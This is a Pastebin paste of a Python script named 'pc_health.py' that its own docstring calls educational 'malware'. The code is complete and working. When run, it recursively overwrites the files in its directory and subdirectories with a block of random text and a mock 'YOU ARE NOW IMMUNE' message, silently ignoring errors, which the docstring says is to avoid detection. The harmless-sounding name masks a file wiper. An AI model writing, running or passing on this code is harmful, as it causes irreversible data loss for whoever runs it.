Advertisement
Python253

pc_health

May 25th, 2024
768
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.14 KB | None | 0 0
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-
  3. # Filename: pc_health.py
  4. # Version: 1.0.3
  5. # Author: Jeoi Reqi
  6.  
  7. """
  8. Description:
  9.  
  10.    - The "Vaccinated" class is a hypothetical malware utility.
  11.    - It's designed for educational purposes to demonstrate how code injection works in files.
  12.    - It explores directories and subdirectories, overwriting the content of files within.
  13.    - Files get "vaccinated" with a randomly generated malicious payload.
  14.  
  15. **
  16. WARNING:
  17.    ! THIS SCRIPT WILL OVERWRITE ALL FILES IN THE CURRENT WORKING DIRECTORY (CWD) AND ITS SUBDIRECTORIES WITH THE MALICIOUS PAYLOAD!
  18.    ! ADDITIONALLY, THE PAYLOAD WILL INJECT INTO THIS SCRIPT, OVERWRITING ITS CONTENTS!
  19.    ! RUNNING THIS SCRIPT WITHOUT PROPER PRECAUTIONS CAN LEAD TO IRREVERSIBLE DATA LOSS, INCLUDING THE SCRIPT ITSELF!
  20.    ! ALWAYS KEEP A BACKUP AND RUN THIS SCRIPT ONLY IN A SAFE ENVIRONMENT WHERE NO IMPORTANT FILES ARE PRESENT!
  21.    ! EXERCISE EXTREME CAUTION!
  22. **
  23.  
  24. This example malware consists of the following components:
  25.  
  26. 1. Vaccinated Class:
  27.    - This class serves as the core of the malware.
  28.    - It includes methods for infecting or "vaccinating" files in a directory.
  29.    - The randomly generated payload is combined with a predefined malicious message.
  30.  
  31. 2. Attributes:
  32.   - `name`: Represents the name of the vaccination utility.
  33.  
  34. 3. Methods:
  35.    - `__init__(self, name)`:
  36.          Initializes a new instance of the Vaccinated class with a provided name.
  37.    - `name.setter`:
  38.          Sets the name of the utility.
  39.    - `immunization`:
  40.          Generates a random immunization message with a randomly generated payload.
  41.    - `vaccinate_files_in_directory(directory)`:
  42.          Vaccinates files in the specified directory and subdirectories.
  43.  
  44. Real Results of the Functions:
  45.  
  46.    - Upon execution, the malware generates an 'immunization' message with a randomly generated payload.
  47.    - It recursively traverses through all files in the specified directory and its subdirectories.
  48.    - For each file found, the malware attempts to inject the payload.
  49.    - If successful, the file is considered "vaccinated," and the count increments.
  50.    - The malware operates silently, ignoring errors to avoid detection.
  51.    - While the primary purpose is educational, showing code injection and its potential consequences, it can cause irreversible damage to files.
  52.    - Exercise extreme caution when using this script.
  53. """
  54.  
  55. import os
  56. import random
  57. import string
  58. from textwrap import dedent, wrap
  59.  
  60. class Vaccinated:
  61.     """
  62.    A class representing a vaccination utility for files in a directory.
  63.  
  64.    Attributes:
  65.        name (str): The name of the vaccination utility.
  66.    """
  67.  
  68.     def __init__(self, name):
  69.         """
  70.        Initializes a Vaccinated instance.
  71.  
  72.        Args:
  73.            name (str): The name of the vaccination utility.
  74.        """
  75.         self._name = name
  76.  
  77.     @property
  78.     def name(self):
  79.         """
  80.        str: The name of the vaccination utility.
  81.        """
  82.         return self._name
  83.  
  84.     @name.setter
  85.     def name(self, new_name):
  86.         """
  87.        Sets the name of the vaccination utility.
  88.  
  89.        Args:
  90.            new_name (str): The new name of the vaccination utility.
  91.        """
  92.         self._name = new_name
  93.  
  94.     @property
  95.     def immunization(self):
  96.         """
  97.        str: Generates a random immunization message.
  98.  
  99.        Returns:
  100.            A string containing a random immunization message.
  101.        """
  102.         antibody_string = "".join(
  103.             random.choices(string.ascii_letters + string.digits, k=111020)
  104.         )
  105.         wrapped_antibody = "\n".join(wrap(antibody_string, width=70))
  106.         return dedent(
  107.             f"""
  108.                        YOU ARE NOW IMMUNE!
  109.  
  110. {wrapped_antibody}
  111.  
  112.                ALL YOUR FILES ARE PROTECTED!
  113.            """
  114.         )
  115.  
  116.     def vaccinate_files_in_directory(self, directory):
  117.         """
  118.        Vaccinates files in the given directory and its subdirectories.
  119.  
  120.        Args:
  121.            directory (str): The path to the directory to vaccinate.
  122.  
  123.        Returns:
  124.            int: The number of files vaccinated.
  125.        """
  126.         num_vaccinated_files = 0
  127.         for root, _, files in os.walk(directory):
  128.             for file_name in files:
  129.                 file_path = os.path.join(root, file_name)
  130.                 if os.access(file_path, os.X_OK):
  131.                     try:
  132.                         with open(file_path, "w", encoding="utf-8") as vaccinated_file:
  133.                             vaccinated_file.write(self.immunization)
  134.                         num_vaccinated_files += 1
  135.                     except (IOError, OSError) as e:
  136.                         pass  # Ignore errors silently
  137.         return num_vaccinated_files
  138.  
  139. if __name__ == "__main__":
  140.     # Create an instance of the Vaccinated class
  141.     vaccine_inoculator = Vaccinated("SimpleVaccineInoculator")
  142.    
  143.     # Get the directory path of the current script
  144.     path = os.path.dirname(os.path.abspath(__file__))
  145.    
  146.     # Vaccinate files in the directory and its subdirectories
  147.     number_vaccinated_files = vaccine_inoculator.vaccinate_files_in_directory(path)
  148.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement